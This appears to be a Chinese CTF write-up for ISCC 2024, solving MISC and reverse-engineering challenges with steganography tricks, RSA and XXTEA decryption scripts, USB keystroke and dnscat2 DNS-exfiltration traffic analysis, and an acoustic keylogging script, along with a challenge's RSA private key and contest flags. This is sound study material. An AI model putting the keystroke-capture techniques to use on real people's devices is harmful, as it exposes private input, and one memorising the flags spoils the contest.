ISCC-wp

ISCC 2024

wp是真的多

MISC

练武题

FunZip

给了附件:

VTFSS2MyUldhM2xsUkZaaFVqRlZORmxXWXpWbGJWSkpVMjE0V2xaNlFYSlJNbU01VUZG
VTFSS2MyUldhM2xsUkVaaFVqRlZORmw2VGxObFYwWllUbGMxVVZveU9EbEVVUX
VTFSS2MyUldhM2xsUkVaaFVqRlZORmRVVGs5TlIwNTBZa2hXWVdWcVVreEVWcI
VTFSS2MyUldhM2xsUkVaaFVqRlZORmRVVGs5TlJuWklZa2hhVVZveU9EbEVVUW
VTFSS1UySkdjSFJpU0ZaaFZUQktNRmRXYUc5a1ZXeEZZWHBXVUZWWE9EbEVaQv
VVRKak9WQlJNY0
V2tab1QyTkhTblJaTW1ScFlsVmFNVmRzYUU5a01XeFlWRzE0U2xORk5IZFhhMUo2VTNjeN
VVRKak9WQlJNTm
VjFSS2IyRkhUbkJWYlhCYVZtNVNNRmRXYUc5a1ZtaFdaREprV2sxcmNHbFpiR1JIVGtkS2M6MUVaRVJhZWpBNVJGV6
VVRKak9WQlJNVk
V1Zaak1VMUZiRWhVYmxKcVVUSm9ObHBGYUV0alIzcDBXVEprV2xVelpHNVplazVUWlZkR1dFNVhOVXBTTW14M1VUSmpPVkJSTWz
V2xoa2RsQlJNZg
VTFWT1Fsb3piRWhpUnpGTVVqTldNVmw2U25OT2JIQlVXak5DU2xKRVVtNVhWMnN4WlcxR1dXTkhlRXhSTW5SM1VUSmpPVkJSTXr
VTFWT1Fsb3diRVJpVjJSS1lqYktOVmRzYUZOTlYwNTBUa2RrVGxaSVRreEVZbY
VTFWT1Fsb3diRWhXYms1cVRXeFdibGxXWkZwaU1XeFVUbGh3YUZkSVFuTlRNRTV5V2pGQ1JGRnRiRTFpYXpWM1dsY3hWbUl3ZEZSaE1ITk9
VTFWT1Fsb3diRVJSVjJSS1VUQktOVmRzYUZOTlYzNTBUa2RrVFZaRlZUTlJNbU01VUZFdz
VTFWT1Fsb3diRWhXYms1cVRXeFdURVJr
VTFWT1Fsb3diRWxqTUhOT5
VTFWT1Fsb3diRVJSVjJSS1VUQktkRmxxVGtwaU1rWllUbFJDU2xJeWRHNVZSazVDWkRBNU5WRnVRa3BTU0dSdVYxWk5NV1Z0UmxsalIzaE1VVEp6TTFOVlpISmphM1ExWVRCelRq
VTFWT1Fsb3liRVJSVjJSS1VUSkpNMUV5WXpsUVVUSt
VTFWT1Jsb3hiRVJSVjJSS1VURkdibE5WVGtKYU1rWllWMWM1V2xadVVuZFhSazVDVDBWc1NGTnRTbWhXYWtKM1VUSmpPVkJSTVJ
VTFWT1Fsb3diRVJaVjJSS1dUQkdibE5WVGxKYU1HeEVXVmRsU2xORmNITmFSV2hYWlZkS2NGbFlVbDVXU0U1TVJGbF
VTFWT2Zsb3hiRVJSVjJSS1VURkdibE5WVGtKaU1rWllWMWM1V2xadVVuZFhSazVDU3pGc1NGTnRTbWhXaWtKM1VUSmpPVkJSTWa
VTFWT1Fsb3diRVJZVjJSS1dEQkdibE5WVGtKYU1HeEVXRmRrU2xORmNITmFSV2hYWlZkS2NGaFlhRkJrTWpoNVJGaF
VTFWT1Fsb3diRVJSVjJSS1VUQkpOVkV5WXpsUVVUQ0
VTFWT1Fsb3diRVJrVjJSS1pEQktOVmRzYUZOTlYwNTBUa2RrVGxKSVRreEVaSp
VTFWT1Fsb3diRWxOUlhOT0
V214R2RsQlJNbp
VVRKak9WQlJNVI
V2tjd05XTkdjRVJSYm14aFYwVTFjMXBGWkVaaW1rMTZWVzVzYWZaNlZuVlRWV1JHWTBWT2JsQlVNRTW
V2xoa2RsQlJNWA
VTFWT2Rsb3hiRWhOVjNocFYwVTFjMXBGVG05aGJHeFVaRE5rVFZORk5YZGFWekZYWkd4d2NHRkhjRnBWTW5SM1ZETmtkbEJSTWQ
VTFWT1Fsb3liRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVVVlJzU2xKRlJUTlRWV1J5V2pGQ1JGRnRhRTFpYXpWM1dsY3hWbUx5ZEZWak1tUm9WVE5PZVZNeFJuWlFVVEw
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3diRVJSVjJSS1VUQktjVmRXV2pCalJtaFVVVlJzU2xJd1dtbFhWazB4WlcxR1dXTkhlRXhSTW5Rd1ZGWk5lR05HYUZSUldGSktVVEpPTTFOdWNIcFRkekE
VTFWT1Fsb3diRWxOUlhOTw
V214R2RsQlJNcw
VVRKak9WQlJNTQ
V2tjd05XTkdjRVJSYm14aFYwVTFjMXBGWkVwaU1rMTZWVzVzYUZaNlZuVlRWV1JLWTBWT2JsQlVNRTQ
V2xoa2RsQlJNMQ
VTFWT2Zsb3hiRWhOVjNocFYwVTFjMXBGVG05aGJHeHdaRE5rVFZORk5YZGFWekZYWkd4d2NHRkhjRnBoVjNSM1ZETmtkbEJSTWY
VTFWT1Fsb3diRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVVVlJzU2xKRlJUTlRWV1J5V2pGQ1JGRnRiRTFpYXpWM1dsY3hWbUl3ZEZWak1tUm9WVE5PZVZNeFJuWlFVVEI
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3hiRVJSVjJSS1VURktjVmRYZURGalJtaFVVVlJzU2xJeGNHbFhWMnN4WlcxR1dXTkhlRXhSTW5ReFZGWk5lR05HYUZSUldGSktVVEpPTTFOdWNIcFRkekU
VTFWT1dsb3hiRVJSVjJSS1VURkdNbFJFVGtObFYwWllUbFJDWVdGWFpIQlRiR1JTWVZWNFNGUnRiRmhOYlhoclV6RlNlbE4zTVc
VTFWT1Fsb3diRWxOUlhOTw
V214R2RsQlJNeg
VVRKak9WQlJNMA
V1hwT1UyVlhSbGhPVnpWS1VqRmFjbGRyVG05bGJWSkpVMjVDYVdKWFRtNVhWazR6V2pKTmVsVnViR2hXZWxaMVUxVmtTbU5GZURWTU1uaHdZMVZTZEdONlZsWlRkekY
V2xoa2RsQlJNcg
VTFWT1Fsb3diRWxUYlhocVRXeFpkMWRXVG05aFJYUlZZek5hVFVzeVJreGhXRlpvWkcxdmVsVjZVbTVVTVUwMVlXMVdXR1JITVZCYVYwWnZWREZrTUdKRGRHeGpNMEl4VmpGQ2RGUXlSa3BoTURsb1ZtNU9VRll6VW5ObFdIQnpaRmRLYVdFelZrdFdSekZ3WWpOS2RHSkhTa1ZpYmxVd1ZrZDRlVTVFVG5aa2FsSnRZbGUxYUZkSGRESmphVGx5WkZlNE0ySkhkRXBPTTBKMVdWVjRlbVJWYTNwaVIzUktaVzEwTWxkVVRuUmlSMHBGWW0wd00yRnRlSEJqVlVaTVJGZQ
VTFWT1Fsb3diRWxUYlhocVRXeFpkMWRYYkc5aFZYUlZZekJ6VGc
VTFWT1Fsb3diRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVWRlJzU2xKRlJUTlRWV1J5V2pGQ1JGUnVVbHBYUjJneFZETnNRMk5GZERWak0wSkVXbm93T1VSVQ
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3diRVJSVjJSS1VUQktjVmRXV2pCalJtaFVVVlJzU2xJd05XOVdla3B6V2tWc1JHTXlaRnBOYTNCcFdWWlpkMDR3VG01UVZEQk8
VTFWT1Fsb3diRVJSVjJSS1VUQktkMWR0Ykc5aGJHeFhaRWhDV1ZVd1JYSlZSazVDWlZWMFdXTXdjMDQ
VTFWT1Fsb3diRVJVVjJSS1ZEQkdibE5WVGtKYU1XdDVVbTFLYUZVelRqUlhSazVDWTJ4Q1ZGUllhRkJrTWpnNVJGUQ
VTFWT1Fsb3diRVJSVjJSS1VUQkdibE5WVGtKYU1XdDVVbTFLYUZacVFtNVVSbEYzV2pBeGNXTXdjMDQ
VTFWT1Fsb3diRVJSVjJSS1VUQkpOVkV5WXpsUVVUQQ

应该是什么隐写

感觉像base的

用工具:

image-20240501204737068

所以flag:

ISCC{xoMjL8NuYRRb}

image-20240501204825447

Number_is_the_key

附件是一个excl表格 但里面没有东西

image-20240501205037401

题目描述:The answers to the questions are hidden in the numbers.

应该也是隐写术

用脚本:

from openpyxl import load_workbook
from openpyxl.styles import PatternFill

wb = load_workbook('C:\\Users\\admin\\Downloads\\attachment-1.xlsx')
ws = wb.active

bold_cells = []
for row in ws.iter_rows():
for cell in row:
if cell.font.bold:
bold_cells.append(cell.coordinate)

highlight_style = PatternFill(start_color="FFFF00", end_color="FFFF00", fill_type="solid")

for cell in bold_cells:
ws[cell].fill = highlight_style

wb.save('ll.xlsx')
print('加粗的单元格已设置为高亮并保存到 highlighted_excel_file.xlsx 文件中。')

image-20240501205536936

ll.xlsx:

image-20240501210433718

看上去是空白文件

但是这里要缩小看:

image-20240501210507974

已经缩到最小了 还是看不完

要调一下行和列

image-20240501211011737

可以扫了:

image-20240501211106951

ISCC{CYj8Zgy2nyXd}

image-20240501211156103

RSA_KU

rsa

image-20240508211031074

轩禹梭哈

image-20240508212935674

ISCC{GN08Dq52B6jY2OOoyQ–}

时间刺客

两个文件

image-20240508220141048

7z由密码

image-20240508220240041

流量文件打开

image-20240508220430285

USB流量分析

先执行:

tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

image-20240513201917300

在跑脚本:

f=open('D:\\流量\\attachment-27(1)\\usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # 鼠标流量的话len改为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break

fi.close()
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }

nums = []
keys = open('out.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))

keys.close()

output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'

print ('output :\n' + output)

image-20240513202654460

得到解压密码:PR3550NWARDSA2FEE6E0

要全小写

解压

#PR3550NWARDSA2FEE6E0
#pr3550nwardsa2fee6e0
import time,os
num=34
a=os.listdir("./%s"%num)
t=1728864000
b=""
for i in range(18):
mtime = time.localtime(os.path.getmtime("./%s/.%s.txt"%(num,i)))
mtime=int(time.mktime(time.strptime(time.strftime('%Y-%m-%d %H:%M:%S', mtime), "%Y-%m-%d %H:%M:%S")))
b+=chr(mtime-t)
print("ISCC{%s}"%b)
input()

image-20240513232758462

成语学习

又是流量分析

image-20240508221530403

找出解压密码

57pmYyWt

image-20240508221634372

image-20240508221744427

明显少了后缀

加一个zip后缀 解压

image-20240508221909013

找flag

image-20240508222017431

image-20240508222039747

题目名字是成语学习

所以我们将成语和英语提出来

淡而无味 noodle

成语是密文 英文是密钥

image-20240508223016593

4fcf6085d24eb08b4e068a9bf600bda7

ISCC{4fcf6085d24eb08b4e068a9bf600bda7}

工业互联网模拟仿真数据分析

image-20240513204221412

wireshark打开流量

image-20240513204456290

研究后发现:

第一问:

192.168.1.2

192.168.1.4 的 Length 大小不变

192.168.1.2,192.168.1.4,24

第二问:

tshark -r a.pcap -T fields -e data.data -Y "data.len==12" 
2024f7b039ae1f546c8e8b1b
2024b939b6fdd3a92dacee64
2024fd300d3fd17b85d1ae51
20249cf615176e00d3fde264
20247b5207a1d2b639fe1e55
202432b3b42ff36424a15d01
2024f2122ad847094be81d58
2024e866d7ec7b7d5ae618bf
20244057c7e66ca371b2c938
202433b4fba38bac7e29bc6a
2024796986cd9b1fc559ad61
220248c6b6efd392e9839a3eb
202462434670e7e76d766c58
20241cc66ab532ff8c8f1d2e

结果很明显了:2024

第三问:

看文末的流量分组

第五组 - 192.168.1.3 192.168.1.5, 这一组的时间间隔固定

192.168.1.3,192.168.1.5,0.06

第四问:

看文末的流量分组,就能看出这三个 IP 是有业务关联性的

192.168.1.3 –> 192.168.1.2 –> 192.168.1.6

192.168.1.2,192.168.1.3,192.168.1.6

第五问:

五个字符的校验算法,先假设是 CRC16 或者 CRC32

倒数位必为 1

尝试 CRC16 CRC32 并尝试 0-10 为起始位 、

为 CRC16,4,1 时成功提交

192.168.1.2,192.168.1.4,24

2024

192.168.1.3,192.168.1.5,0.06 192.168.1.2,192.168.1.3,192.168.1.6 CRC16,4,1 ISCC{192.168.1.2,192.168.1.4,24,2024,192.168.1.3,192.168.1.5,0.06,192.168.1.2,192.168.1.3,192.168.1.6,CRC16,4,1} ISCC{192.168.1.2,192.168.1.4,24,2024,192.168.1.3,192.168.1.5,0.06,192.168.1.2,192.168.1.3,192.168.1.6,CRC16,4,1}

image-20240513205621560

精装四合一

四个png

image-20240513205815890

010editer打开

image-20240513213148500

发现这四张图片有共同的部分:16进制下的AE426082及之前的都是相同的

于是将这四张图片的这相同的部分删除,并与0xff异或

image-20240513213730263

跑脚本 将这四张图片转成一个zip压缩包 得到一个带密码的压缩包文件

f1 = open('left_foot_invert.png','rb')
f2 = open('left_hand_invert.png','rb')
f3 = open('right_foot_invert.png','rb')
f4 = open('right_hand_invert.png','rb')
f5 = open('1.zip','wb')
for i in range(3176):
f5.write(f1.read(1))
f5.write(f2.read(1))
f5.write(f3.read(1))
f5.write(f4.read(1))
f5.write(f1.read(1))

image-20240513214549288

image-20240513215740393

使用ziperello爆破密码

image-20240513215832631

image-20240513215931554

解压

image-20240513220052642

将.docx改为.zip 解压

image-20240513220148273

在word/document.xml文件中发现了一串数字

image-20240513220309482

是n分解

image-20240513220433112

在word/media目录下发现了true_flag.jpeg

跑脚本进行RSA解密

from Crypto.Util.number import long_to_bytes,bytes_to_long
import gmpy2
e = 65537
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
p = 100882503720822822072470797230485840381
q = 167722355418488286110758738271573756671
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = bytes_to_long(open('true_flag.jpeg','rb').read())
m = pow(c,d,n)
print(long_to_bytes(m))

image-20240513223731067

有人让我给你带个话

解压出来两个:
image-20240520211938520

直接:

binwalk -e Tony.png

image-20240520214217499

image-20240520214414576

分离出一张名为lyra.png的图片

搭建Lyra语音压缩编解码器环境,将 有人和你说了一些东西 解码

然后:

bazel build -c opt lyra/cli_example:decoder_main

bazel-bin/lyra/cli_example/decoder_main --encoded_path=input.lyra --output_dir=output

去看output文件 里面有一个wav文件

image-20240520221306310

然后进行语音识别

image-20240520221405056

发现是社会主义核心价值观解码

image-20240520221432366

所以:

ISCC{BKF2AUYM4CXL}

钢铁侠在解密

直接SilentEye

image-20240520220327831

分离出row_46.txt

从row_46.txt中得到c1和c2

image-20240520220431403

再结合一张小字条.txt:

跑脚本:

def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11


def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
#填入你的
c1 = 7117699533553404765969385131528285151338883874047219393513901029814899613106269453717071655030129172675347412105954430595550208331319039285488217857645434855450598615444320625125480776280699845905031957935929200678010599182556355228361791925834628474882973819407545131720315147867601310680575703760829182731040820140040334260615959579260885910684316027038899927510111879795075716063442014500311273770317366580295265150626308906058870244474287517539716259093648787486558289028160060146383240853216385418156708531398826125721674525484478695977276018081855744644420524312189516816706523758384677737740206780056214178591
c2 = 669377958220530998982610007334541495452444932327889027701674265488674975296173916526403471415673489599324609944152078024856059305235027055537717831870910926982886484365295480915932635049328982650036966128603589077422350648610838397561368492808627898801217681531847113405878144009338568458330300883098347211123932957521175154078087448270703770013755603755495694142054956736866280513298095095072140518012960164840387268115809107484598575420588399507838816137068511738359026923196816227383685673279881086270565844040540990721264154589480590824198483107578842415945186127864550932032695515688193556824882941308500664944
N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
e = 52595

image-20240520220630622

image-20240520220601327

magic-keyboard

之前做过相似的题 找不到了

找资料的时候也有其他题:
https://blog.csdn.net/zhang14916/article/details/120814969

from acoustic_keylogger.audio_processing import wav_read, detect_keystrokes, extract_features
from sklearn.preprocessing import MinMaxScaler
import itertools

# Load audio data from the provided file
audio_data = wav_read("./attachment-45.wav")

# Detect individual keystrokes within the audio data
detected_keystrokes = detect_keystrokes(audio_data, sample_rate=48000)

# Extract features from each detected keystroke
features_list = [extract_features(keystroke) for keystroke in detected_keystrokes]

# Normalize the feature data
scaler = MinMaxScaler()
normalized_features = scaler.fit_transform(features_list)

# Create a mapping of unique feature sets to alphabets
letter_mapping = {}
current_alphabet_code = ord('a')
encoded_phrase = []
for feature_set in normalized_features:
if feature_set[0] not in letter_mapping:
letter_mapping[feature_set[0]] = current_alphabet_code
current_alphabet_code += 1
encoded_phrase.append(letter_mapping[feature_set[0]])

# Convert the numeric representation back to characters
encoded_flag = ''.join(chr(code) for code in encoded_phrase)

# Define the set of possible characters for permutation
char_options = '01268acdef'

# Check for permutations that result in a valid flag
for char_permutation in itertools.permutations(char_options, 9):
char_translation = {
'a': '4', 'b': '9', 'c': '5', 'd': '3', 'e': '7', 'f': 'b',
'g': char_permutation[0], 'h': char_permutation[1], 'i': char_permutation[2],
'j': char_permutation[3], 'k': char_permutation[4], 'l': char_permutation[5],
'm': char_permutation[6], 'n': char_permutation[7], 'o': char_permutation[8]
}

try:
# Translate the encoded flag using the current permutation
translated_hex = ''.join(char_translation.get(char, '?') for char in encoded_flag)
flag_bytes = bytes.fromhex(translated_hex)

# Validate the flag criteria
if flag_bytes.endswith(b'}') and b'human' in flag_bytes and b'she' in flag_bytes and b'is' in flag_bytes:
print(flag_bytes)
except ValueError: # Catch hexadecimal conversion errors silently
continue

擂台题

重“隐”

两个文件

image-20240525133217634

发现图片中藏了一个zip

foremost图片提取

image-20240525134041787

image-20240525134207920

解压

image-20240525134258143

有密码

那我们回头看看音频文件

deepsound看看

image-20240525134628918

用脚本deepsound2john来进行哈希提取

image-20240525134909706

image-20240525135021808

得到密码:teenager

image-20240525135100029

解密对应的音频得到一个文本文件

image-20240525135125158

puzzle solve解密

image-20240525135153979

发现密文

image-20240525135258562

随波逐流解密

image-20240525135452588

74_re2l_w4t3rm4rk}

拿到部分flag

再看音频文件

听起来像手机按键声

DTMF Decoder解密

image-20240525135824040

827342312231334132

然后转九键进行解密得到密码 URHDBDFGE

回头解压

image-20240525140201722

brainfuck解密

image-20240525140426277

两端flag连起来

ISCC{y0u_f1nd_t74_re2l_w4t3rm4rk}

Listen_to_a_symphony

两个文件

image-20240525150226888

但是发现

zip有密码

image-20240525150253432

010打开master180

image-20240525150337446

发现头文件是png

Binwalk 提取出另一张图

image-20240525150416291

题目给了hint

image-20240525150437539

猜测Mozart反转

解压成功

用软件识曲得到曲名 Requiem aeternam

听到后面有摩斯密码

解密

–./—/—/-

good

所以把四个单词拼接起来

ISCC{Mozart_good_Requiem_aeternam}

World_Line

两个文件夹

image-20240525151446921

β

image-20240525151531220

α

image-20240525151552842

flag1在β中的拼图文件中,在321_1972604.png里有个ISCC

flag2在β中的拼图文件中,位于123651123_9049 (0U_f4N).png,括号里就是flag2

flag3在β中的拼图文件夹的8787下,那个key的内容就是part3

flag4在RSA文件中,是NKCTF2024原题,直接拿NKCTF的脚本梭βase64.txt,然后词频一下就可以得到part4

才打了

import base64
from urllib.parse import unquote
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA

# RSA公钥和私钥定义
pubkey_str = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey_str = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41AgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

# 导入RSA公钥与私钥
pubkey = RSA.import_key(pubkey_str)
prikey = RSA.import_key(prikey_str)

# 定义Base64替换规则
base64_replacements = {
"/": "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM",
"+": "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W",
"=": "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2"
}

# 替换Base64编码中的字符
def custom_base64_replace(b64_str):
for original, replacement in base64_replacements.items():
b64_str = b64_str.replace(original, replacement)
return b64_str

# 反向替换Base64编码中的字符
def reverse_custom_base64_replace(b64_str):
for replacement, original in base64_replacements.items():
b64_str = b64_str.replace(replacement, original)
return b64_str

# 加密函数
def encrypt(plaintext):
encrypted_chunks = []
for i in range(0, len(plaintext), 128):
chunk = plaintext[i:i+128]
encrypted_chunk = pow(bytes_to_long(chunk), prikey.d, pubkey.n)
encrypted_chunks.append(long_to_bytes(encrypted_chunk))
encrypted_data = b''.join(encrypted_chunks)
encoded_data = custom_base64_replace(base64.b64encode(encrypted_data).decode())
return encoded_data

# 解密函数
def decrypt(ciphertext_url_encoded):
ciphertext_url_decoded = unquote(ciphertext_url_encoded)
ciphertext_decoded = reverse_custom_base64_replace(ciphertext_url_decoded)
ciphertext_data = base64.b64decode(ciphertext_decoded)
decrypted_chunks = []
for i in range(0, len(ciphertext_data), 128):
chunk = ciphertext_data[i:i+128]
decrypted_chunk = pow(bytes_to_long(chunk), pubkey.e, pubkey.n)
decrypted_chunks.append(long_to_bytes(decrypted_chunk))
decrypted_text = b''.join(decrypted_chunks)
return decrypted_text

# 主程序
if __name__ == '__main__':
ciphertext = "Ie5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM...[省略的长字符串]..."
print(f"加密数据: {ciphertext}")

decrypted_text = decrypt(ciphertext)
print(f"解密数据: {decrypted_text}")

数据泄露

研究了一下

找到了一道[相似的题](https://www.ips99.com/show/4/535735.html task4)

根据这个打

选取所有192.168.157.144与192.168.157.145通信的数据包,且大小在 200 以上

wireshark打开

ip.src eq 192.168.157.145 && ip.dst eq 192.168.157.144 && udp.length >200

image-20240525153214882

dnscat2流量

导出为纯文本

import re

# 定义文件路径
input_file_path = r'D:\流量\1.txt'
output_file_path = r'D:\流量\2.txt'

# 读取并解析域名
with open(input_file_path, 'r') as file:
lines = file.readlines()
domains = [
re.sub(r'\.microsofto365\..*', '111', line)
for line in lines
]

clean_domains = [
match.group(1)[18:].replace('.', '')
for domain in domains
if (match := re.search(r'Name: (.*?)111', domain))
]

# 转换为字符串
decoded_word = ''.join(
chr(int(substring, 16) for domain in clean_domains for i in range(0, len(domain), 2) for substring in (domain[i:i+2])
)

# 写入到文件
with open(output_file_path, 'w') as file:
file.write(decoded_word)

跑下脚本处理一下

查看2.txt

image-20240525153527666

由此得到原始的工具名为dnscat2-v0.07-client-win32.exe

md5加密

image-20240525153734295

RE

练武题

迷失之门

IDA打开

image-20240502115709593

TAB/F5:

image-20240502115816894

跟进check

image-20240502120305168

继续跟进check_2

R转换result

image-20240502120439849

image-20240502120535560

得到:

FSBBhKhLgEdDDKeidOpktsBNRI6

跑脚本:

x='FSBBhKhLgEdDDKeidOpktsBNRI6'#输入比较的字符
W='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
w='abcdefghijklmnopqrstuvwxyz'
M='0123456789+/-=!#&*()?;:*^%'
v='DABBZXQESVFRWNGTHYJUMKIOLPC'
for i in range(len(x)):
for j in range(32,127):
if j-ord(v[i])<=0:
pass
else:
v22=j-ord(v[i])
if v22>25:
if v22>51:
v1=M[v22-52]
else:
v1=w[v22-26]
if v1==x[i]:
print(chr(j),end='')
else:
if W[v22]==x[i]:
print(chr(j),end='')

image-20240502121808043

ISCC{brPsZcUZXevegsyzwJ]X}

image-20240502121859811

Badcode

好学的小明又开始学习c++了,他猛猛写了一堆代码,并且很高兴实现了功能,但是我们发现,他的代码写的真的很差,这次他又将自己的秘密藏在里面,你能揭穿他的秘密吗?

把附件拉入IDA Tab/f5

image-20240502220802580

把数字Buf2转成16进制

image-20240502220952379

image-20240502221035159

跑脚本:

from Crypto.Util.number import *


def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))


def encrypt(v, k):
delta = 0x61C88647
n = len(v)
rounds = 6 + 52 // n
x = 0
z = v[n - 1]
for i in range(rounds):
x = (x - delta) & 0xFFFFFFFF
e = (x >> 2) & 3
for p in range(n - 1):
y = v[p + 1]
v[p] = (v[p] + shift(z, y, x, k, p, e)) & 0xFFFFFFFF
z = v[p]
p += 1
y = v[0]
v[n - 1] = (v[n - 1] + shift(z, y, x, k, p, e)) & 0xFFFFFFFF
z = v[n - 1]
return v


def decrypt(v, k):
delta = 0x61C88647
n = len(v)
rounds = 6 + 52 // n
x = (0 - rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x + delta) & 0xFFFFFFFF
return v


if __name__ == '__main__':
plain = [0xE2122B60, 0x6A5F5FB9, 0x8B00D411, 0x85672DCF, 0xCA65C318, 0x2757DF85] # 输入比较的字符
key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210]
decrypted = decrypt(plain, key)
flag = []
v16 = '674094872038771148666737'

for i in range(len(plain)):
x = long_to_bytes(decrypted[i])
for j in range(3, -1, -1):
flag.append(x[j])

for i in range(len(flag)):
flag[i] ^= ord(v16[i]) - 0x30
if i % 2:
flag[i] -= 2
else:
flag[i] += 3

print(bytes(flag))

image-20240502222819278

image-20240502223320773

DLLCode

一样把附件拖进IDA

附件有两个:

image-20240502224944138

f5打开

image-20240502225943304

同样发现一个数组

跑脚本

